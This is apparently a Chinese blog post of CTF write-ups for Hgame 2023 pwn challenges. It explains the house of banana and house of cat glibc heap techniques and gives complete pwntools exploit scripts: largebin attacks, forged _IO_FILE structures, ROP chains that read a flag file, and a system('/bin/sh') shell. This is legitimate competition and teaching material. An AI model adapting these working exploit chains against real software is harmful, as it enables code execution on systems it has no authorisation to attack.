
#house of banana
fake_link_map_addr = heapbase + 0x7a0
l_next = 0x21c790 + libcbase
pop_rdi_ret = libcbase + 0x2858f
print('DEBUG =======> '+hex(pop_rdi_ret))
ret_addr = libcbase + 0x29524
edit(15, b'A'*0x500+p64(fake_link_map_addr+0x20)) #l_addr
payload = p64(0) + p64(l_next)
payload += p64(0) + p64(fake_link_map_addr) # l_real
payload += p64(libcbase+libc.sym['setcontext'] + 61) # second call rdx = the address of last call
payload += p64(ret_addr) # first call (fake_link_map_addr + 0x38)

pop_rsi_ret = libcbase + 0x2ac3f
pop_rax_ret = libcbase + 0x45580
pop_rdx_r12_ret = libcbase + 0x114161
#orw
flag_addr = fake_link_map_addr + 0xe8
payload += p64(pop_rdi_ret) + p64(flag_addr) # fake_link_map_addr + 0x40
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(libcbase+libc.sym['syscall'] + 27)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(fake_link_map_addr + 0x200)
payload += p64(pop_rdx_r12_ret) + p64(0x30) + p64(0)
payload += p64(libcbase+libc.sym['read'])
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(libcbase+libc.sym['write']) # fake_link_map_addr + 0xc8
payload += p64(libcbase+libc.sym['_exit'])

payload = payload.ljust(0x38 - 0x10 + 0xa0, b'\x00') # => fake_link_map_addr + 0xd8 SROP
payload += p64(fake_link_map_addr + 0x40) # rsp
payload += p64(ret_addr) # rip
payload += b'./flag\x00\x00' # fake_link_map_addr + 0xe8

payload = payload.ljust(0x100, b'\x00')
# l->l_info[DT_FINI_ARRAY] != NULL => l->l_info[26] != NULL
payload += p64(fake_link_map_addr + 0x110) + p64(0x10) # l->l_info[26] & d_ptr = 0x10
payload += p64(fake_link_map_addr + 0x120) + p64(0x10) # l->l_info[28] & i = 0x10/8 = 2 => array[1] = l->l_addr + d_ptr + 8 => array[0] = l->l_addr + d_ptr
payload = payload.ljust(0x308, b'\x00')
payload += p64(0x800000000) # l->l_init_called
edit(0, payload)

menu(5)

#DEBUG()

io.interactive()

week4

pwn

这两道题都是libc-2.36的,刚看到就想到了最近看到的house of apple,但是没怎么看懂(主要是因为没模板),然后看了另一个新技巧house of cat,不出所料,构造好后两道直接秒出。

without_hook

从libc-2.34开始,删除了我们喜闻乐见的_malloc_hook_free_hook,因此从这以后新的技巧大都转向IO函数,其中,house of cat就是典型例子,并且目前适用于所有版本。

保护全开,依然是开了沙箱的largebin attack

house of cat的具体细节不在这里详述,House of Cat利用了House of emma的虚表偏移修改思想,通过修改虚表指针的偏移,避免了对需要绕过TLS上 _pointer_chk_guard的检测相关的IO函数的调用,转而调用**_IO_wfile_jumps中的_IO_wfile_seekoff函数,然后进入到_IO_switch_to_wget_mode函数中来攻击,从而使得攻击条件和利用变得更为简单。并且house of cat在FSOP的情况下也是可行的,只需修改虚表指针的偏移来调用_IO_wfile_seekoff即可(通常是结合__malloc_assert,改vtable为_IO_wfile_jumps+0x10**)。

在本题中,伪造好IO结构体后,因为提供了exit函数,可以通过FSOP触发

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'
# large bin attack + house of cat

#io = remote('week-3.hgame.lwsec.cn',30421)
io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')

def DEBUG():
attach(io, 'set resolve-heap-via-heuristic on')
pause()

def menu(choice):
io.recvuntil(b'Exit\n>')
io.sendline(str(choice).encode())

def add(index, size):
menu(1)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())
io.recvuntil(b'Size: ')
io.sendline(str(size).encode())

def delete(index):
menu(2)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())

def edit(index, content):
menu(3)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())
io.recvuntil(b'Content: ')
io.send(content)

def show(index):
menu(4)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())

#largebin attack
add(0, 0x608)
add(1, 0x508)
add(2, 0x5f8)
add(3, 0x508)

delete(0)

#泄露libc
show(0)
libcbase = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f6cc0
print('libcase ===> '+hex(libcbase))
_IO_list_all = libcbase + libc.symbols['_IO_list_all']
print('_IO_list_all ===> '+hex(_IO_list_all))
print(hex(libc.symbols['_IO_wfile_jumps']))

add(4, 0x800)
#泄露heapbase
edit(0, b'A'*0x10)
show(0)
io.recv(0x10)
heapbase = u64(io.recv(6).ljust(8,b'\x00')) - 0x290
print('heapbase ===> '+hex(heapbase))
edit(0, p64(0)*3+p64(_IO_list_all-0x20))

delete(2)
add(4, 0x800)

setcontext = libcbase + libc.symbols['setcontext']
print('setcontext+61 ===> '+hex(setcontext+61))

#FSOP触发house of cat
fake_io_addr=heapbase+0xdb0
next_chain = 0
fake_IO_FILE=p64(0)*6
fake_IO_FILE +=p64(1)+p64(2)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=setcontext_rdx
fake_IO_FILE +=p64(setcontext+61)#_IO_save_end=call addr(call setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(1) # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libcbase+0x1f30a0+0x30) # vtable=IO_wfile_jumps+0x30
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

ret = libcbase + 0x23ba6
pop_rdi = libcbase + 0x23ba5
pop_rsi = libcbase + 0x251fe
pop_rdx_rbx = libcbase + 0x8bbb9
pop_rax = libcbase + 0x3f923
close = libcbase + libc.symbols['close']
syscall = libcbase + libc.symbols['syscall']
read = libcbase + libc.symbols['read']
write = libcbase + libc.symbols['write']
orw_addr = heapbase + 0x2a0
payload = fake_IO_FILE + p64(heapbase+0x4a0)+p64(0)*6 + p64(orw_addr) + p64(ret)
edit(2, payload)

flag_addr = heapbase + 0x4a0
orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall+27)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx_rbx)+p64(0x50)+p64(0)+p64(read)
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx_rbx)+p64(0x50)+p64(0)+p64(write)
edit(0, orw.ljust(0x200, b'\x00')+b'./flag')

menu(5)
#print('DEBUG ==> '+hex(setcontext+61))
#DEBUG()

io.interactive()

4nswer’s gift

看到题目描述给了内核版本,以为是内核题,差点就要直接题都不看了,附件下载完后发现还是个house of cat

没开canary,题目会直接告诉一个地址,在gdb里面看一下发现是_IO_list_all地址,并且程序结束时会把分配到的堆地址赋值到_IO_list_all位置,直接伪造fake_IO_FILE,没开沙箱,会自己调用exit函数,和上一题做法一样,甚至比上一题简单的多(或许是我上一题做复杂了

其中伪造时需要知道堆地址,但因为已知libc地址,且mmap分配堆和libc有固定偏移,所以直接malloc(-1),然后gdb看下直接算下就知道fake_io_addr了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3
from pwn import*
context(log_level = 'debug')

#io = remote('week-4.hgame.lwsec.cn',32461)
io = process('./vuln')
libc = ELF('./libc.so.6')

def DEBUG():
attach(io, 'b vuln')
pause()

DEBUG()
io.recvuntil(b'0x')
libcbase = int(io.recv(12), 16)-0x1f7660
print('libcbase ===> '+hex(libcbase))
fake_io_addr = libcbase - 0x100004000 + 0x10
print('fake_io_addr ===> '+hex(fake_io_addr))
sys = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'sh\x00'))

io.recvuntil(b'put into the gift?\n')
io.sendline(b'-1')
io.recvuntil(b'put into the gitf?\n')

#FSOP触发house of cat直接getshell
next_chain = 0
fake_IO_FILE=b'/bin/sh\x00'+p64(0)*7
fake_IO_FILE +=p64(1)+p64(2)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=setcontext_rdx
fake_IO_FILE +=p64(sys)#_IO_save_end=call addr(call setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1) # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(libcbase+0x1f30a0+0x30) # vtable=IO_wfile_jumps+0x30
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

io.send(fake_IO_FILE)
io.interactive()
  • Title: Hgame 2023 pwn部分wp
  • Author: Static
  • Created at : 2024-03-10 16:33:30
  • Updated at : 2024-03-10 16:33:26
  • Link: https://staticccccccc.github.io/2024/03/10/CTFS-wp/Hgame 2023 部分wp/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
Hgame 2023 pwn部分wp